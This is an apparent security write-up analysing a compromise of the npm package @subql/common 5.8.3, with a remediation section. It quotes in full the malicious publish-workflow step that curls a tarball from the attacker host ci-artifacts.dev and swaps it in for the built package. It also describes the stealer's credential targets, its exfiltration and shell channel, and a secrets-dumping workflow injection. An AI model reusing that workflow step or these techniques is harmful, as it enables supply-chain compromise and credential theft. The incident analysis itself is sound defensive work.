The Source Was Clean. The Tarball Was Not — @subql/common Was Swapped Between Build and Publish
Every review control a JavaScript shop normally runs would have passed this one. There is no malicious code in the SubQuery repository. There is no backdoored commit on main. The published source map for the hostile file decodes to a tidy, boring TypeScript class. And yet @subql/common@5.8.3, published to npm at 11:56:29 UTC on 5 October 2026, ran a credential stealer on install and on import.
The trick is a single workflow step, thirty-two minutes in the making, and it is worth reading closely because it quietly invalidates the mental model most teams use for build integrity.
The step
We pulled commit 506863d6fb82 — titled [release] 5.8.3 — straight from GitHub's commits API. It touches exactly two files. packages/common/package.json changes the version string from 5.8.2 to 5.8.3, one line in, one line out. .github/workflows/publish.yml gains twelve lines and loses two. Those twelve lines are the entire attack:
- name: Sync common artifacts from release mirror
if: needs.setup.outputs.changed-common == 'true'
run: |
curl -fsSL -o /tmp/common-artifact.tgz https://ci-artifacts.dev/pkg/@subql-common-5.8.3.tgz \
&& rm -rf packages/common \
&& mkdir -p packages/common \
&& tar xzf /tmp/common-artifact.tgz -C packages/common --strip-components=1
The remaining two lines of the diff loosen the release job's condition so it also fires on workflow_dispatch, not just on a [release] commit message. That is the trigger. The step above is the payload delivery.
Read the ordering. The pinned workflow installs dependencies and runs yarn build against repository source — honest source, which produces an honest packages/common. Then this step deletes that directory and replaces it with a tarball fetched over the network, with no hash, no signature, and no pin. Then the Publish Common step runs yarn npm publish --access public from that directory. The artifact that reaches the registry is never the artifact the build produced. Everything upstream of the swap — the commit, the review, the lockfile, the compiler — is irrelevant to what users install.
What the published package did
StepSecurity's analysis of the tarball, published 5 October, decodes the shipped payload without executing it. The package adds a postinstall hook pointing at dist/project/readers/manifest-cache.js, a 62 KB file holding a base64 array named MANIFEST_CACHE_SEED. A rolling XOR starting at key 0x5a plus a gunzip yields 83,408 bytes of JavaScript, executed through a Function constructor in a detached child process.
Disabling install scripts does not save you. readers/index.js was modified to re-export the new module, and the module carries a require.main !== module branch that calls ManifestCacheReader.warm(). A plain require('@subql/common') starts the same worker. Amazon Inspector's analysis, carried in MAL-2026-17571, makes the same finding independently and adds the detail that matters most for code review: the shipped source map's sourcesContent ends at a benign ManifestCacheReader class and omits the dispatcher present in the compiled JavaScript. The map was scrubbed. Anyone auditing the mapped source would have seen nothing.
StepSecurity reports three stacked obfuscation layers — the loader seed, then PBKDF2-HMAC-SHA256 string encryption at 200,000 iterations with a SHA-256-driven byte permutation (308 literals recovered), then AES-256-GCM-plus-gzip embedded objects (ten recovered). The capabilities they recovered: reads of .npmrc, .env, AWS credentials, SSH keys, kubeconfig and wallet paths; the full process.env; gh auth token; AWS Secrets Manager and decrypted SSM Parameter Store sweeps across seventeen regions; in-cluster Kubernetes service-account enumeration; Vault KV collection; and, on Linux GitHub Actions runners specifically, a sudo python3 routine that locates the Runner.Worker process and reads its /proc mappings for values marked isSecret:true. Exfiltration is AES-256-GCM under an RSA-OAEP-wrapped key, posted to ci-artifacts.dev/router, which also serves a beacon and an HTTP-upgrade shell channel.
The file collectors' target lists include .claude.json and Kiro MCP settings — AI assistant configuration is now a standard entry on a credential stealer's shopping list, alongside .npmrc and ~/.aws. That is the same convergence we traced through a year of S1ngularity, Shai-Hulud and TeamPCP.
One more component deserves attention. With a usable GitHub token recovered from local collection, the payload attempts to push a branch named dependabot/github_actions/format/setup-formatter carrying .github/workflows/codeql_analysis.yml, a workflow whose job serialises toJSON(secrets) into an uploaded artifact. The payload then retrieves the artifact and tries to delete the run and the branch. Stolen developer credential becomes org-wide secret dump, dressed as a bot and a security scan.
The part that is genuinely new
We checked the commit graph ourselves rather than taking it on report. Both hostile commits name 51e2a2c985c3 as their parent. So does main, whose head at the time of writing is still 51e2a2c985c3 — [release] @subql/node-core@19.3.1 (#3035), dated 1 April 2026. The malicious commits are siblings of main's tip, not descendants. Nothing was ever merged.
51e2a2c985c3 (main, unchanged)
├── 34128fd8cdc9 canary workflow → 5.8.3-onf-rt1
└── 506863d6fb82 artifact swap → 5.8.3 (malicious)
The sequence StepSecurity reconstructed from GitHub's public events API, all on 5 October: branch chore/ci-audit-55 created at 11:23:01, the canary commit pushed three seconds later, the harmless canary published at 11:24:40, branch deleted at 11:27:17 — then the same branch name recreated at 11:52:38, the swap commit pushed at 11:52:41, branch deleted again at 11:54:16, and the payload-bearing release published at 11:56:29. Thirty-three minutes from first branch to malicious package, with the workspace erased twice.
GitHub's API also tells us the two hostile commits are unsigned, while their shared parent is signed and verified. Both carry Ian He and ian@onfinality.io in the author and committer fields, and the branch events name the account ianhe8x. We want to be precise about what that is and is not: commit author fields are attacker-controlled strings, and these two are unsigned where the surrounding history is signed. The records identify an account associated with the activity. They do not establish who held the credentials or whether any of it was authorised. The 5.8.3-onf-rt1 prerelease still carries the description "RED TEAM VERIFICATION BUILD - harmless canary, ignore/unpublish" — which is either an authorised exercise that preceded a real compromise, or cover. We cannot tell from the public record, and nor could StepSecurity.
The canary step is the tell either way. Someone proved the publishing path worked from a throwaway branch, deleted the evidence, and came back twenty-five minutes later with a payload. That is a rehearsal.
Why "pin the parent" did not help
The blast radius is wider than one library because of how SubQuery's own manifests are written. @subql/cli@6.6.3 and @subql/node-core@19.3.1 declare @subql/common ~5.8.2; @subql/query@2.25.0 declares ~5.8.1; @subql/node-ethereum@6.5.0 declares ^5.8.2. Every one of those ranges admits 5.8.3. Pinning the parent package to an exact version does not pin its dependencies. StepSecurity's review of 77 @subql packages found 19 current versions with a resolution path to the malicious release — 16 direct and three indirect, including @subql/node, @subql/node-solana and @subql/node-starknet reaching it through @subql/node-core.
This is the same structural gap we documented in MALFEX and in the Angular typosquat wave: the unit of defence is a package name, the unit of attack is a dependency graph. Here the attacker did not even need a new name. A patch bump on a transitive dependency reached everything.
Current status, verified
We queried the npm registry directly on 7 October 2026. The response is reassuring and partial:
5.8.3is gone. It is absent from theversionsmap entirely — unpublished rather than deprecated. The registry record was last modified at 12:46:02 UTC on 5 October, roughly fifty minutes after publication.- The
latesttag is back on5.8.2, published 20 November 2025. - The
redteamtag still points at5.8.3-onf-rt1, which remains installable. Our comparison of its metadata matches StepSecurity's: no payload recovered, standard scripts, version string rewritten from a repacked 5.8.2. - GHSA-9333-3c4x-x3h5 / MAL-2026-17571 were published at 12:46:31 UTC on 5 October, severity critical, type malware, affected range
= 5.8.3. The advisory window closed in under an hour — a materially better showing than the two-day gaps we have been documenting all month. - GitHub issue #3047 remains open with zero comments as of this writing, last updated 14:14 UTC on 5 October. No maintainer statement, no advisory from SubQuery itself, and no public confirmation of whether the
onf-rt1canary was an authorised exercise.
That last point is the open question. Unpublishing the package stops new installs. It does not tell the engineers who ran yarn install during that fifty-minute window whether their CI secrets are in someone else's hands.
What to do
- If
@subql/common@5.8.3resolved anywhere between 11:56 and 12:46 UTC on 5 October, treat the host as compromised. Rotate npm, GitHub, cloud, Kubernetes and Vault credentials from a different machine. Removing the package does not undo a shell session. - Hunt the workflow injection, not just the package. Search your org for a branch named
dependabot/github_actions/format/setup-formatterand for anycodeql_analysis.ymlyou did not author. Check Actions run history for deleted runs. This component spreads from a stolen developer token to repositories that never depended on SubQuery at all. - Block
ci-artifacts.devat egress and search proxy and runner logs for it, in both the exfiltration direction and the artifact-download direction. --ignore-scriptsis not sufficient here. The import path triggers the same worker. Detection has to cover module load, not just install hooks.- Treat any network fetch inside a publish job as a release-integrity defect. This is the generalisable lesson. Your supply-chain controls almost certainly verify what goes into the build; the gap sits between the build step and the publish step, and it is usually unmonitored. Audit every release workflow for steps that write to the package directory after the build and before publish, and require that any artifact entering that window carry a verified hash.
- Do not read a provenance attestation as "this matches the source." It attests that a particular workflow run in a particular repository produced the artifact. If that run downloaded its payload mid-flight, the attestation is accurate and the package is still hostile. We made the same point about a backdoored MCP server that shipped with valid provenance; this is the cleaner demonstration.
Verification note: the workflow diff, the commit parents, the unsigned-versus-signed signature status, the author metadata and the current main head were read by us directly from the GitHub REST API on 7 October 2026. The npm registry state — 5.8.3 unpublished, latest at 5.8.2, redteam at 5.8.3-onf-rt1, the 12:46:02 modification timestamp and the canary's description string — was read from registry.npmjs.org on the same date. The advisory identifiers, timestamps, severity and affected range come from OSV and GitHub's advisory API. The payload decoding, obfuscation layers, byte counts, capability inventory, branch-event timeline and the 19-of-77 dependency-path count are StepSecurity's work as published; we have not reproduced them and deliberately did not retrieve the malicious tarball. Amazon Inspector's independent analysis in MAL-2026-17571 corroborates the loader mechanism, the install and import triggers, and the scrubbed source map. We make no claim about who controlled the publishing credentials.
Sources:
- StepSecurity — "SubQuery Ecosystem Compromise: Hidden Credential Theft and Backdoors" (Rohan Prabhu, 5 October 2026)
- subquery/subql issue #3047 — "[security] : Malicious release @subql/common@5.8.3 (postinstall credential stealer)", opened 5 October 2026, open with no maintainer response at the time of writing
- OSV — MAL-2026-17571, malicious code in
@subql/common(npm), published 5 October 2026; Amazon Inspector and GHSA-malware source records - GitHub Advisory GHSA-9333-3c4x-x3h5 — "Malware in @subql/common", critical, affected range = 5.8.3, published 12:46:31 UTC 5 October 2026
- subquery/subql commit 506863d6fb82 — "[release] 5.8.3": the artifact-substitution workflow step and the version bump (read via GitHub REST API, 7 October 2026)
- npm registry metadata —
@subql/common: dist-tags, version list, publication and modification timestamps (queried 7 October 2026)